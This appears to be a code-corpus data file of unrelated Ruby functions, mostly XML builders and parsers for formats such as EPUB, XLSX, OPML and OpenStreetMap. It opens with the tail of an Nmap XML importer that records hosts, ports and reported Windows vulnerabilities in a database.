:os_accuracy => h[\"os_accuracy\"]\n }\n }\n\n if(h[\"os_match\"])\n note[:data][:os_match] = h['os_match']\n end\n\n report_note(note)\n end\n\n if (h[\"last_boot\"])\n report_note(\n :workspace => wspace,\n :host => hobj || addr,\n :type => 'host.last_boot',\n :task => args[:task],\n :data => {\n :time => h[\"last_boot\"]\n }\n )\n end\n\n if (h[\"trace\"])\n hops = []\n h[\"trace\"][\"hops\"].each do |hop|\n hops << {\n \"ttl\" => hop[\"ttl\"].to_i,\n \"address\" => hop[\"ipaddr\"].to_s,\n \"rtt\" => hop[\"rtt\"].to_f,\n \"name\" => hop[\"host\"].to_s\n }\n end\n report_note(\n :workspace => wspace,\n :host => hobj || addr,\n :type => 'host.nmap.traceroute',\n :task => args[:task],\n :data => {\n 'port' => h[\"trace\"][\"port\"].to_i,\n 'proto' => h[\"trace\"][\"proto\"].to_s,\n 'hops' => hops\n }\n )\n end\n\n\n # Put all the ports, regardless of state, into the db.\n h[\"ports\"].each { |p|\n # Localhost port results are pretty unreliable -- if it's\n # unknown, it's no good (possibly Windows-only)\n if (\n p[\"state\"] == \"unknown\" &&\n h[\"status_reason\"] == \"localhost-response\"\n )\n next\n end\n extra = \"\"\n extra << p[\"product\"] + \" \" if p[\"product\"]\n extra << p[\"version\"] + \" \" if p[\"version\"]\n extra << p[\"extrainfo\"] + \" \" if p[\"extrainfo\"]\n\n data = {}\n data[:workspace] = wspace\n if fix_services\n data[:proto] = nmap_msf_service_map(p[\"protocol\"])\n else\n data[:proto] = p[\"protocol\"].downcase\n end\n data[:port] = p[\"portid\"].to_i\n data[:state] = p[\"state\"]\n data[:host] = hobj || addr\n data[:info] = extra if not extra.empty?\n data[:task] = args[:task]\n data[:name] = p['tunnel'] ? \"#{p['tunnel']}/#{p['name'] || 'unknown'}\" : p['name']\n report_service(data)\n }\n #Parse the scripts output\n if h[\"scripts\"]\n h[\"scripts\"].each do |key,val|\n if key == \"smb-check-vulns\"\n if val =~ /MS08-067: VULNERABLE/\n vuln_info = {\n :workspace => wspace,\n :task => args[:task],\n :host => hobj || addr,\n :port => 445,\n :proto => 'tcp',\n :name => 'MS08-067',\n :info => 'Microsoft Windows Server Service Crafted RPC Request Handling Unspecified Remote Code Execution',\n :refs =>['CVE-2008-4250',\n 'BID-31874',\n 'CWE-94',\n 'MSFT-MS08-067',\n 'MSF-Microsoft Server Service Relative Path Stack Corruption',\n 'NSS-34476']\n }\n report_vuln(vuln_info)\n end\n if val =~ /MS06-025: VULNERABLE/\n vuln_info = {\n :workspace => wspace,\n :task => args[:task],\n :host => hobj || addr,\n :port => 445,\n :proto => 'tcp',\n :name => 'MS06-025',\n :info => 'Vulnerability in Routing and Remote Access Could Allow Remote Code Execution',\n :refs =>['CVE-2006-2370',\n 'CVE-2006-2371',\n 'BID-18325',\n 'BID-18358',\n 'BID-18424',\n 'MSFT-MS06-025',\n 'MSF-Microsoft RRAS Service RASMAN Registry Overflow',\n 'NSS-21689']\n }\n report_vuln(vuln_info)\n end\n # This one has NOT been Tested , remove this comment if confirmed working\n if val =~ /MS07-029: VULNERABLE/\n vuln_info = {\n :workspace => wspace,\n :task => args[:task],\n :host => hobj || addr,\n :port => 445,\n :proto => 'tcp',\n :name => 'MS07-029',\n :info => 'Vulnerability in Windows DNS RPC Interface Could Allow Remote Code Execution',\n # Add more refs based on nessus/nexpose .. results\n :refs =>['CVE-2007-1748',\n 'MSF-Microsoft DNS RPC Service extractQuotedChar()',\n 'NSS-25168']\n }\n report_vuln(vuln_info)\n end\n end\n end\n end\n }\n\n # XXX: Legacy nmap xml parser ends here.\n\n REXML::Document.parse_stream(data, parser)\n end", "def opm\n\n opm = @sopm\n\n folder = File.dirname(@sopm_file)\n\n files_nodes = opm.xpath('/otrs_package/Filelist/File')\n files_nodes.each { |files_node|\n\n file_location = files_node['Location']\n file = File.open(\"#{folder}/#{file_location}\", 'r')\n file_content = file.read\n file.close\n\n files_node['Encode'] = 'Base64'\n files_node.content = Base64.strict_encode64( file_content )\n }\n\n opm.to_xml\n end", "def to_xml()\n builder = Nokogiri::XML::Builder.new(:encoding => ENCODING) do |xml|\n xml.Types(:xmlns => Axlsx::XML_NS_T) {\n each { |type| type.to_xml(xml) }\n }\n end\n builder.to_xml(:save_with => 0)\n end", "def ncx_to_html\n html = <<EOF\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" profile=\"http://www.idpf.org/epub/30/profile/content/\">\n <head>\n <meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\"/>\n <title>#{title}</title>\n </head>\n <body>\n <section>\n <nav id=\"toc\" epub:type=\"toc\">\n <ol>\nEOF\n selector = \"ncx > navMap > navPoint\"\n @xml.css(selector).each do |point|\n html += \"<li id=\\\"#{point.attr('id').to_s}\\\"><a href=\\\"#{point.css('content').attr('src').to_s}\\\">#{point.css('navLabel text').text}</a></li>\"\n end\n html += <<EOF\n </ol>\n </nav>\n </section>\n </body>\n</html>\nEOF\n html\n end", "def to_xml()\n @xml ||= Nokogiri::XML(cmark(\"--to\", \"xml\"))\n @xml\n end", "def generate_opf\n generate_xml do |xml|\n xml.package(package_namespaces, :version => @target.epub_version, 'unique-identifier' => OPF_UNIQUE_ID) do\n generate_metadata\n generate_manifest\n generate_spine\n generate_guide\n end\n end\n end", "def dump_xml(io)\n io.puts \"<project name=\\\"imported-configuration-settings\\\">\"\n io.puts(@xmlstuff.join(\"\\n\"))\n io.puts \"</project>\"\n end", "def open(arg,force_encoding=nil)\n data=ONIX::Helper.arg_to_data(arg)\n\n xml=nil\n if force_encoding\n xml=Nokogiri::XML.parse(data,nil,force_encoding)\n else\n xml=Nokogiri::XML.parse(data)\n end\n\n xml.remove_namespaces!\n xml\n end", "def to_xml(opts = {})\n mapper.to_xml(self, opts)\n end", "def set_xml_output\n @xml_out = true\n end", "def to_xml\n Nokogiri::XML::Builder.new do |xml|\n xml.network do\n xml.name name if name\n xml.uuid uuid if uuid\n\n bridge.to_xml(xml)\n ip.to_xml(xml)\n end\n end.to_xml\n end", "def to_xml\n header = build_header\n body = build_body\n envelope = build_envelope\n envelope << header\n envelope << body\n doc = Ox::Document.new(version: '1.0')\n doc << envelope\n Ox.dump(doc)\n end", "def to_xml()\n XmlSimple.xml_out( { :address => self.to_hash() }, { :KeepRoot=>true, :NoAttr=>true } )\n end", "def to_xml(xml)\n #build it for now, break it down later!\n xml[:xdr].twoCellAnchor {\n xml.from {\n from.to_xml(xml)\n }\n xml.to {\n to.to_xml(xml)\n }\n @object.to_xml(xml)\n xml.clientData\n }\n end", "def to_xml()\n builder = Nokogiri::XML::Builder.new(:encoding => ENCODING) do |xml|\n xml.send('cp:coreProperties', \n :\"xmlns:cp\" => CORE_NS, \n :'xmlns:dc' => CORE_NS_DC, \n :'xmlns:dcmitype'=>CORE_NS_DCMIT, \n :'xmlns:dcterms'=>CORE_NS_DCT, \n :'xmlns:xsi'=>CORE_NS_XSI) {\n xml['dc'].creator self.creator\n xml['dcterms'].created Time.now.strftime('%Y-%m-%dT%H:%M:%S'), :'xsi:type'=>\"dcterms:W3CDTF\"\n xml['cp'].revision 0\n }\n end \n builder.to_xml(:save_with => 0)\n end", "def to_s\n map = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n map << \"<map version=\\\"1.0.1\\\">\\n\"\n map << \"<!-- To view this file, download free mind mapping software FreeMind from http://freemind.sourceforge.net -->\\n\"\n map << nodes_to_s(@nodes)\n map << \"</map>\\n\"\n end", "def toXmlStr(otObject, depth=1)\n tempDb = XMLDatabase.new\n tempObjectService = @otrunk.createObjectService(tempDb)\n newObj = tempObjectService.copyObject(otObject, depth)\n tempDb.setRoot(newObj.getGlobalId)\n outStream = ByteArrayOutputStream.new\n ExporterJDOM.export(outStream, tempDb.getRoot(), tempDb)\n outStream.toString\n end", "def owl_export\r\n graph = RDF::Graph.new\r\n owl = OWL::OWLDataFactory.new(graph)\r\n otus = Otu.find(:all, :conditions => \"(proj_id = #{@proj.id})\")\r\n otus.each do |otu|\r\n Ontology::Mx2owl.translate_otu(otu, owl)\r\n end\r\n all_codings = Coding.find(:all, :conditions => \"(proj_id = #{@proj.id})\")\r\n all_codings.each do |coding|\r\n Ontology::Mx2owl.translate_coding(coding, owl)\r\n end\r\n chrs = @proj.chrs\r\n chrs.each do |chr|\r\n Ontology::Mx2owl.translate_chr(chr, owl)\r\n end\r\n rdf = RDF::Writer.for(:ntriples).buffer {|writer| writer << graph }\r\n # when rdfxml gem is updated with bugfix (or we move to ruby 1.9) we can switch to next line\r\n #rdf = RDF::RDFXML::Writer.buffer {|writer| writer << graph }\r\n render(:text => (rdf))\r\n end", "def parse_xml\n \n if @noko and @noko.content\n \n self.location = @noko.content.to_s.strip || nil\n self.height = @noko['height'] ? @noko['height'].to_i : 0 \n self.width = @noko['width'] ? @noko['width'].to_i : 0\n lang = @noko['xml:lang'] || :en\n \n @metadata_pixels = height * width\n \n log.debug \" Derived logo #{url} from XML\"\n \n end\n end", "def _to_xml(xml)\n end", "def xml; end", "def export_as_xml\n super # TODO: XML export for non-MARC\n end", "def parse\n Ox.parse(@xml)\n end", "def xml\n @xml ||= Nokogiri::XML(remote_record_source_metadata).remove_namespaces!\n end", "def simple (street,from_number,to_number,number_step)\n @properties.clear\n #process([x])\n p= lookup( street,from_number,to_number,number_step)\n f = File.open(\"louisville\" + street + '_'+ from_number.to_s + '_' + to_number.to_s + '_' + number_step.to_s + \".osm\", 'w') \n osmxml(f)\n\n end", "def generate_xml\n values = {\n :charset => @options.charset,\n :files => gen_into(@files),\n :classes => gen_into(@classes)\n }\n\n template = RDoc::TemplatePage.new @template::ONE_PAGE\n\n if @options.op_name\n opfile = File.open(@options.op_name, \"w\")\n else\n opfile = $stdout\n end\n template.write_html_on(opfile, values)\n end", "def to_xml\n export('tlb')\n end", "def import_opml\n respond_to do |wants|\n wants.xml do\n @feeds = []\n if params[:opml]\n @feeds = params[:opml].feeds.map do |f|\n feed = Feed.find_or_create_by_url(f.xmlUrl)\n feed.created_by = params[:created_by] if !params[:created_by].nil?\n feed.title = f.title if f.title and feed.title.nil?\n feed.save\n feed\n end\n else\n logger.debug(\"import_opml called without opml file\")\n end\n render :xml => @feeds.to_xml\n end\n end\n end", "def export_as_xml\n super # TODO: XML export for non-MARC\n end", "def export_as_oai_dpla_xml\n xml = Builder::XmlMarkup.new\n xml.tag!(\"oai_dpla:dpla\",\n 'xmlns:oai_dpla' => \"https://digitalcollections.library.ucsc.edu/oai_dpla/\",\n 'xmlns:dc' => \"http://purl.org/dc/elements/1.1/\",\n 'xmlns:dcterms' => \"http://purl.org/dc/terms/\",\n 'xmlns:edm' => \"http://www.europeana.eu/schemas/edm/\",\n 'xmlns:xsi' => \"http://www.w3.org/2001/XMLSchema-instance\",\n 'xsi:schemaLocation' => %(https://digitalcollections.library.ucsc.edu/oai_dpla/ https://digitalcollections.library.ucsc.edu/oai_dpla/oai_dpla.xsd)) do\n to_semantic_values(\"dpla\").select { |field, _values| dpla_field_name? field }.each do |field, values|\n Array.wrap(values).each do |v|\n xml.tag! \"#{field_prefix(field)}:#{field}\", v\n end\n end\n end\n xml.target!\n end", "def to_xml\n output=\"\"\n self.to_rexml.write output\n end", "def changeset_dump(changesets)\n doc = XML::Document.new\n doc.root = XML::Node.new(\"osm\")\n { \"version\" => \"0.6\",\n \"generator\" => \"replicate_changesets.rb\",\n \"copyright\" => \"OpenStreetMap and contributors\",\n \"attribution\" => \"https://www.openstreetmap.org/copyright\",\n \"license\" => \"https://opendatacommons.org/licenses/odbl/1-0/\" }\n .each { |k, v| doc.root[k] = v }\n\n builder = ChangesetBuilder.new(@now, @conn)\n changesets.each do |cs|\n doc.root << builder.changeset_xml(cs)\n end\n\n doc.to_s\n end", "def generate_xml\n values = {\n :charset => @options.charset,\n :files => gen_into(@files),\n :classes => gen_into(@classes),\n :title => CGI.escapeHTML(@options.title),\n }\n\n template = RDoc::TemplatePage.new @template::ONE_PAGE\n\n opfile = if @options.op_name then\n open @options.op_name, 'w'\n else\n $stdout\n end\n template.write_html_on(opfile, values)\n end", "def to_xml\n IO::XMLExporter.new.to_xml(self)\n end", "def changeset_dump(changesets)\n doc = XML::Document.new\n doc.root = XML::Node.new(\"osm\")\n { \"version\" => \"0.6\",\n \"generator\" => \"replicate_changesets.rb\",\n \"copyright\" => \"OpenStreetMap and contributors\",\n \"attribution\" => \"http://www.openstreetmap.org/copyright\",\n \"license\" => \"http://opendatacommons.org/licenses/odbl/1-0/\" }\n .each { |k, v| doc.root[k] = v }\n\n builder = ChangesetBuilder.new(@now, @conn)\n changesets.each do |cs|\n doc.root << builder.changeset_xml(cs)\n end\n\n doc.to_s\n end", "def to_xml\n\n prelude = \"<?xml version='1.0'?>\\n<Root xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:noNamespaceSchemaLocation='file:///order.xsd'>\\n<order>\"\n str= [ add_costs_xml,\n additional_text_xml,\n customer_id,\n delivery_country_code,\n delivery_date_xml,\n delivery_name_1,\n delivery_name_2,\n delivery_name_3,\n delivery_place,\n delivery_print_code_xml,\n delivery_street,\n delivery_codes,\n delivery_zipcode,\n discount_xml,\n gross_price_code,\n invoice_country_code,\n invoice_name_1,\n invoice_name_2,\n invoice_name_3,\n invoice_place,\n invoice_print_code_xml,\n invoice_street,\n invoice_zipcode,\n order_type,\n payment_codes,\n reference_1,\n reference_2,\n representative_1,\n short_name,\n urgent_code,\n tax_code,\n order_release_code\n ].compact\n str.each do |s|\n s = s.force_encoding('UTF-8')\n end\n all = str.join(\"\\n\")\n ending = \"<positionen AnzPos='#{positions.length}'>#{xml_for(positions)}</positionen>\\n</order>\\n</Root>\"\n prelude + all + ending\n end", "def nmap_save()\n print_status \"Nmap: saving nmap log file\"\n fh = self.nmap_log[0]\n nmap_data = fh.read(fh.stat.size)\n saved_path = store_local(\"nmap.scan.xml\", \"text/xml\", nmap_data, \"nmap_#{Time.now.utc.to_i}.xml\")\n print_status \"Saved NMAP XML results to #{saved_path}\"\nend", "def volume pub_xml_ng_doc\n idmd = identity_metadata pub_xml_ng_doc\n idmd.root.xpath('objectLabel').text.strip\n end", "def assemble_xml_file\n write_xml_declaration do\n # Write the xdr:wsDr element.\n write_drawing_workspace do\n if @embedded\n index = 0\n @drawings.each do |drawing|\n # Write the xdr:twoCellAnchor element.\n index += 1\n write_two_cell_anchor(index, drawing)\n end\n else\n # Write the xdr:absoluteAnchor element.\n write_absolute_anchor(1)\n end\n end\n end\n end", "def toxml\n\t\tend", "def import_nexpose_simplexml_file(args={})\n\t\tfilename = args[:filename]\n\t\twspace = args[:wspace] || workspace\n\n\t\tf = File.open(filename, 'rb')\n\t\tdata = f.read(f.stat.size)\n\t\timport_nexpose_simplexml(args.merge(:data => data))\n\tend", "def to_xml options={}\n\n super(options) do |xml|\n\n xml.reqNumber self.reqNumber\n\n if ! self.category.nil?\n xml.category self.category.catName\n else\n xml.category \"Not defined\"\n end\n\n\n xml.industries do\n industries.each do |industry|\n xml.industry industry.indName\n end\n end\n\n end\n\n end", "def initialize(xmldoc)\n @xmldoc = xmldoc\n @output = {}\n end", "def to_xml(options={})\r\n a = attributes.clone\r\n a.delete(\"ino:id\")\r\n a.to_xml({:root => self.class.doctype}.merge(options))\r\n end", "def init_from_xml(xmlDoc)\r\n @type = xmlDoc.expanded_name\r\n xmlDoc.each_element(\"ID\") { |e| @procID = e.text }\r\n xmlDoc.each_element(\"GROUP\") { |e| @group = e.text }\r\n xmlDoc.each_element(\"PATH\") { |e| @path = e.text }\r\n xmlDoc.each_element(\"ARGSLINE\") { |e| @cmdLineArgs = e.text }\r\n xmlDoc.each_element(\"ENV\") { |e| @env = e.text }\r\n # Dump the XML description of the OML configuration into a file\r\n xmlDoc.each_element(\"OML_CONFIG\") { |config|\r\n configPath = nil\r\n config.each_element(\"omlc\") { |omlc|\r\n configPath = \"/tmp/#{omlc.attributes['exp_id']}-#{@procID}.xml\"\r\n }\r\n f = File.new(configPath, \"w+\")\r\n config.each_element {|el|\r\n f << el.to_s\r\n }\r\n f.close\r\n # Set the OML_CONFIG environment with the path to the XML file\r\n @env << \" OML_CONFIG=#{configPath} \"\r\n }\r\n end", "def to_xml\n xml_builder = Nokogiri::XML::Builder.new do |xml|\n xml.Package('xmlns' => 'http://soap.sforce.com/2006/04/metadata') {\n self.each do |key, members|\n xml.types {\n members.each do |member|\n xml.members member\n end\n xml.name key.to_s.camelize\n }\n end\n xml.version Metaforce.configuration.api_version\n }\n end\n xml_builder.to_xml\n end", "def write_xml_to(io, options = T.unsafe(nil)); end", "def write_xml_to(io, options = T.unsafe(nil)); end", "def to_xml\n self.xml ||= fetch({\"service\"=>self.service_type,\"metric\"=>self.metric,\"start\"=>self.sdate.to_s,\"end\"=>self.edate.to_s,\"artistID\"=>self.artist_id,\"apiKey\"=>$nbs_api_key,\"format\"=>\"xml\"})\n end", "def doc_xml(xml)\r\n primary_output_files.each_with_index do |output, i|\r\n xml.doc(:ID => i + 1) do\r\n xml.tag!(:batch_attrib, 1)\r\n xml.tag!(:doc_cont_cd, doc_cont_cd(output))\r\n xml.tag!(:subtype_cd, 'PLN')\r\n xml.tag!(:filename, output.file_name)\r\n xml.tag!(:file_size, output.file_size)\r\n end\r\n end\r\n xml\r\n end", "def to_xml\n\t\tend", "def to_xml\n\t\tend", "def save_opf!\n file.write(opf_path, opf_xml.to_s)\n\n opf_xml\n end", "def import_xml_common(ent, node)\n REXML::XPath.each(node, \"./ctx:identifier\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"}) do |id|\n ent.add_identifier(id.get_text.value) if id and id.has_text?\n end\n\n priv = REXML::XPath.first(node, \"./ctx:private-data\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"})\n ent.set_private_data(priv.get_text.value) if priv and priv.has_text?\n\n ref = REXML::XPath.first(node, \"./ctx:metadata-by-ref\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"})\n if ref\n reference = {}\n ref.to_a.each do |r|\n if r.name == \"format\"\n reference[:format] = r.get_text.value if r.get_text\n else\n reference[:location] = r.get_text.value\n end\n end\n ent.set_reference(reference[:location], reference[:format])\n end\n end", "def as_pepxml()\n\t\thit_node = XML::Node.new('search_hit')\n\t\thit_node['peptide']=self.peptide.to_s\n\n\t\t# require 'byebug';byebug\n\t\tfirst_evidence = self.peptide_evidence.first\n\n\t\thit_node['peptide_prev_aa']=first_evidence.peptide_prev_aa\n\t\thit_node['peptide_next_aa']=first_evidence.peptide_next_aa\n\t\thit_node['protein']=first_evidence.protein\n\t\thit_node['protein_descr']=first_evidence.protein_descr\n\n\t\thit_node['num_tot_proteins']=self.peptide_evidence.length.to_s\n\n\t\talt_evidence = peptide_evidence.drop(1)\n\t\talt_evidence.each { |ae| hit_node << ae.as_pepxml }\n\n\t\tresult_node = XML::Node.new('search_result')\n\t\tresult_node << hit_node\n\t\tresult_node\n\tend", "def to_opml\n\t\tdoc = Nokogiri::XML::DocumentFragment.parse \"\"\n\t\tNokogiri::XML::Builder.with(doc) { |xml|\n\t\t\txml.outline(:title => self.title, :text => self.title) {\n\t\t\t\tself.feeds.each do |feed|\n\t\t\t\t\txml.__send__ :insert, feed.to_opml\n\t\t\t\tend\n\t\t\t}\n\t\t}\n\t\treturn doc\n\tend", "def extract_osm(arango)\n doc = Document::OsmBordersDocument.new\n parser = ::Nokogiri::XML::SAX::Parser.new(doc)\n parser.parse File.open(@filename, 'r')\n File.open(\"/tmp/import-#{@osm_type}#{@check_for_city ? \"_big\" : \"\"}.json\", \"w\") do |output|\n doc.relations.each do |key, relation|\n name = name_from_relation(relation[:tags])\n poly = Polygon.new\n unless relation[:ways].nil?\n relation[:ways].each do |way|\n poly.points += points_from_way doc.ways[way], arango\n end\n end\n\n if @osm_type == \"city\"\n center = poly.centroid\n state_name = state_for_regionalschluessel(relation[:tags][\"de:regionalschluessel\"])\n if !state_name.nil? && !poly.points.empty? && (!@check_for_city || relation[:tags][\"de:place\"] == \"city\")\n entry = {\n osm_id: key,\n name: name,\n name_normalized: name.normalize_for_parsec,\n country_ref: nil,\n country_name: \"DE\",\n state_name: state_name,\n state_ref: BUNDESLAND_REFS[BUNDESLAENDER.index(state_name)],\n center: {\n lat: center.lat,\n lon: center.lon\n },\n radius: poly.radius\n }\n output.puts(entry.to_json)\n end\n elsif @osm_type == \"state\" && BUNDESLAENDER.include?(name) && !poly.points.empty?\n center = poly.centroid\n entry = {\n osm_id: key,\n name: name,\n name_normalized: name.normalize_for_parsec,\n country_ref: nil,\n country_name: \"DE\",\n center: {\n lat: center.lat,\n lon: center.lon\n },\n radius: poly.radius\n }\n output.puts(entry.to_json)\n end\n end\n end\n end", "def to_xml\n @object.marshal_dump.to_xml(:root => :response)\n end", "def to_xml()\r\n msg = REXML::Document.new\r\n msg << REXML::Element.new(\"#{@type.to_s}\")\r\n msg.root << REXML::Element.new(\"GROUP\").add_text(\"#{@group}\") if @group != nil\r\n msg.root << REXML::Element.new(\"ID\").add_text(\"#{@procID}\") if @procID != nil\r\n msg.root << REXML::Element.new(\"PATH\").add_text(\"#{@path}\") if @path != nil\r\n msg.root << REXML::Element.new(\"ARGSLINE\").add_text(\"#{@cmdLineArgs.join(\" \")}\") if @cmdLineArgs != nil\r\n # Build the <ENV> child element\r\n if [email protected]? \r\n line = \"\"\r\n @env.each { |k,v|\r\n line << \"#{k.to_s}=#{v.to_s} \" \r\n }\r\n msg.root << REXML::Element.new(\"ENV\").add_text(\"#{line}\")\r\n end\r\n # Build the <OML_CONFIG> child element\r\n if @omlConfig != nil\r\n el = REXML::Element.new(\"OML_CONFIG\")\r\n el.add_element(@omlConfig)\r\n msg.root << el\r\n end\r\n return msg\r\n end", "def parse_onotology(el)\n el.children.each do |el|\n case el.node_name\n when 'imports'\n res = el.attribute_with_ns('resource', RDF_NS)\n self.class.import(res.value)\n else\n #warn \"Unknown eleement '#{el.node_name}' in 'owl:Ontology'\"\n end\n end\n \n end", "def to_xml_inject_ns(model_name, options = {})\n s = StringIO.new\n xml = to_xml(options).write_to(s, :indent => 0, :indent_text => '')\n destination_name = options.fetch(:destination_name, nil)\n destination_name ||= model_name\n\n step1 = s.string.sub(\"<#{model_name}>\", \"<#{destination_name} #{Quickeebooks::Online::Service::ServiceBase::XML_NS}>\")\n step2 = step1.sub(\"</#{model_name}>\", \"</#{destination_name}>\")\n step2\n end", "def metadata_xml\n Nokogiri::XML(original_file.content)\n end", "def onix_xml\n @api_adapter.onix_xml_for_product(self)\n end", "def attack_to_xml\n document = Document.new\n attack = document.add_element \"ATTACK\"\n attack.add_element @fighter.squadron_to_xml\n attack.add_element @bomber.squadron_to_xml\n\n document\n end", "def generate_xml\n values = {\n 'charset' => @options.charset,\n 'files' => gen_into(@files),\n 'classes' => gen_into(@classes),\n 'title' => CGI.escapeHTML(@options.title),\n }\n\n # this method is defined in the template file\n write_extra_pages if defined? write_extra_pages\n\n template = RDoc::TemplatePage.new @template::ONE_PAGE\n\n if @options.op_name\n opfile = open @options.op_name, 'w'\n else\n opfile = $stdout\n end\n template.write_html_on(opfile, values)\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/loan/v1\")\n end", "def xml\n @xml ||= Nokogiri::XML(path).remove_namespaces!\n end", "def import_xml xml_data\n ###\n [table, id]\n end", "def write_osm(dir)\n @model.save(\"#{dir}/in.osm\", true)\n end", "def to_xml\n @xml ||= get_xml\n end", "def to_xml\n if @xml_header.nil?\n xml = ''\n else\n xml = @xml_header.to_xml + \"\\n\"\n end\n self.document.__types.each do |t|\n xml += self.document.send(t).to_xml\n end\n return xml\n end", "def emitIzPackXML(xm)\n # raise \"xm must be an Builder::XmlMarkup object, but is #{xm.class}\" if xm.class != Builder::XmlMarkup\n xm.pack(@attributes) {\n xm.description(@description)\n @files.each{ |src, dest| xm.singlefile('src'=> src, 'target' =>dest) }\n }\n end", "def render\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!(:xml, :version => '1.0', :encoding => 'UTF-8')\n xml.urlset(XmlSitemap::INDEX_SCHEMA_OPTIONS) { |s|\n @maps.each do |item|\n s.sitemap do |m|\n m.loc item[:loc]\n m.lastmod item[:lastmod]\n end\n end\n }.to_s\n end", "def to_xml!\n self.to_hash.to_xml({:root => 'whoisapi'})\n end", "def write_xml_to(io, options = {})\n options[:save_with] ||= SaveOptions::DEFAULT_XML\n write_to io, options\n end", "def to_geoMetadataDS(isoXml, fcXml, purl)\n fail ArgumentError, 'generate-geo-metadata: PURL is required' if purl.nil?\n fail ArgumentError, 'generate-geo-metadata: ISO 19139 is required' if isoXml.nil? || isoXml.root.nil?\n\n Nokogiri::XML(\"\n <rdf:RDF xmlns:rdf=\\\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\\\">\n <rdf:Description rdf:about=\\\"#{purl}\\\">\n #{isoXml.root}\n </rdf:Description>\n <rdf:Description rdf:about=\\\"#{purl}\\\">\n #{fcXml.nil? ? '' : fcXml.root.to_s}\n </rdf:Description>\n </rdf:RDF>\"\n )\n end", "def getActiveMap\n return @XML\n end", "def to_zapp_xml\n results = submit_cmd('',:dump,\"-env #{self.env} --zappdb --outdir .\")\n puts results\n end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def alvin_xslt\n Nokogiri::XSLT(File.open(Rails.root + \"app/models/processes/create_mets_package/assets/LibrisToAlvin.xsl\", \"rb\"))\n end", "def xml!; @xml = true; end", "def to_xml(opts={})\n opts ||= {}\n if opts.is_a?(String) \n opts = ( opts.match(/\\.xml$/) ? {:outfile => opts} : {:outdir => opts } )\n end\n opt = {:update_summary_xml => true, :outdir => nil, :outfile => nil}.merge(opts)\n\n if opt[:outfile]\n outfile = opt[:outfile]\n elsif opt[:outdir]\n outfile = File.join(opt[:outdir], msms_pipeline_analysis.summary_xml.split(/[\\/\\\\]/).last)\n end\n self.msms_pipeline_analysis.summary_xml = File.expand_path(outfile) if (opt[:update_summary_xml] && outfile)\n\n builder = Nokogiri::XML::Builder.new(:encoding => XML_ENCODING)\n msms_pipeline_analysis.to_xml(builder)\n add_stylesheet(builder.doc, Mspire::Ident::Pepxml::XML_STYLESHEET_LOCATION)\n string = builder.doc.to_xml\n\n if outfile \n File.open(outfile,'w') {|out| out.print(string) }\n outfile\n else\n string\n end\n end", "def to_xml\n Element.new(name).tap do |org|\n org << company_name\n org << phone_number\n org << attention_name\n org << address\n org << tax_identification_number\n org << email_address\n org << vendor_info unless opts[:sender_ioss_number].to_s.empty?\n end\n end", "def oai\n body = oai_provider\n .process_request(oai_params.to_h)\n .gsub('<?xml version=\"1.0\" encoding=\"UTF-8\"?>') do |m|\n \"#{m}\\n<?xml-stylesheet type=\\\"text/xsl\\\" href=\\\"#{ActionController::Base.helpers.asset_path('blacklight_oai_provider/oai2.xsl')}\\\"?>\\n\"\n end\n render xml: body, content_type: 'text/xml'\n end", "def preservation_xml\n descriptive_metadata = metadata_source.find_by(source_type: 'descriptive').user_defined_mappings\n structural_metadata = metadata_source.find_by(source_type: 'structural').user_defined_mappings\n\n Nokogiri::XML::Builder.new(encoding: 'UTF-8') { |xml|\n xml.root {\n xml.record {\n xml.uuid { xml.text repo.unique_identifier }\n\n descriptive_metadata.each do |field, values|\n values.each { |value| xml.send(field + '_', value) }\n end\n\n xml.pages {\n structural_metadata['sequence'].map do |asset|\n xml.page {\n asset.map do |field, value|\n Array.wrap(value).each { |v| xml.send(field + '_', v) }\n end\n }\n end\n }\n }\n }\n }.to_xml\n end", "def to_xml\n raise \"No Asset selected for export to XML\" unless @asset\n xml = XmlSystem.new\n @output_text = xml.export( @asset ).target!\n end", "def to_xml_inject_ns(model_name, options = {})\n s = StringIO.new\n xml = to_xml(options).write_to(s, :indent => 0, :indent_text => '')\n destination_name = options.fetch(:destination_name, nil)\n destination_name ||= model_name\n\n sparse = options.fetch(:sparse, false)\n sparse_string = %{sparse=\"#{sparse}\"}\n step1 = s.string.sub(\"<#{model_name}>\", \"<#{destination_name} #{Quickbooks::Service::BaseService::XML_NS} #{sparse_string}>\")\n step2 = step1.sub(\"</#{model_name}>\", \"</#{destination_name}>\")\n step2\n end", "def init\n f = File.open(@pref_file)\n @doc = Nokogiri::XML(f)\n f.close\n @doc.remove_namespaces! \n end", "def get_opml_export\n OpmlExporter.get_export self\n end", "def to_xml\n xml = String.new\n builder = Builder::XmlMarkup.new(:target => xml, :indent => 2)\n \n # Xml instructions (version and charset)\n builder.instruct!\n \n builder.source(:primary => primary_source) do\n builder.id(id, :type => \"integer\")\n builder.uri(uri.to_s)\n end\n \n xml\n end", "def orm_xml\n template_xml = '<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <ormRoot:ORM2 xmlns:orm=\"http://schemas.neumont.edu/ORM/2006-04/ORMCore\" xmlns:ormDiagram=\"http://schemas.neumont.edu/ORM/2006-04/ORMDiagram\" xmlns:ormRoot=\"http://schemas.neumont.edu/ORM/2006-04/ORMRoot\"></ormRoot:ORM2>'\n \n builder = Nokogiri::XML::Builder.with(Nokogiri::XML(template_xml).at('/ormRoot:ORM2')) do |xml|\n attributes = ActiveSupport::OrderedHash.new\n attributes[:id] = serialize_uuid(model.uuid)\n attributes[:Name] = model.name\n \n xml['orm'].ORMModel(attributes) do\n object_types(xml)\n fact_types(xml)\n constraints(xml)\n data_types(xml) unless model.data_types.blank?\n model_notes(xml) unless model.model_notes.blank?\n model_errors(xml) unless model.model_errors.blank?\n reference_mode_kinds(xml) 